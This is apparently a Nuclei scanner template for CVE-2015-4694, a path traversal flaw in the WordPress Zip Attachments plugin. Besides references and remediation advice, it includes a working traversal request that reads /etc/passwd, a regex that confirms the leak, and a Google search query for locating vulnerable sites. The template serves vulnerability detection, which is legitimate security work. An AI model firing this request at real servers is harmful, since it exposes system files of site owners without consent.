id: CVE-2015-4694 info: name: WordPress Zip Attachments <= 1.1.4 - Arbitrary File Retrieval author: 0x_Akoko severity: high description: WordPress zip-attachments plugin allows arbitrary file retrieval as it does not check the download path of the requested file. remediation: | Update to the latest version of the WordPress Zip Attachments plugin (1.1.4) or remove the plugin if not needed. reference: - https://wordpress.org/plugins/zip-attachments/#developers - https://wpscan.com/vulnerability/8047 - https://nvd.nist.gov/vuln/detail/CVE-2015-4694 - http://www.vapid.dhs.org/advisory.php?v=126 - https://wordpress.org/plugins/zip-attachments/changelog/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cve-id: CVE-2015-4694 cwe-id: CWE-22 epss-score: 0.02304 epss-percentile: 0.88508 cpe: cpe:2.3:a:zip_attachments_project:zip_attachments:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: zip_attachments_project product: zip_attachments framework: wordpress google-query: inurl:"/wp-content/plugins/zip-attachments" tags: cve2015,wp-plugin,wpscan,lfi,wordpress,cve http: - method: GET path: - '{{BaseURL}}/wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd' matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200 # digest: 4a0a00473045022038c4409f8bfade10fb5beb348a5186e87d2638869e387246c7a41a093a59238302210089e0ee19376c3551f7c99d1ce273ae2783d26129aa89256fb432dcf0793ca106:922c64590222798bb761d5b6d8e72950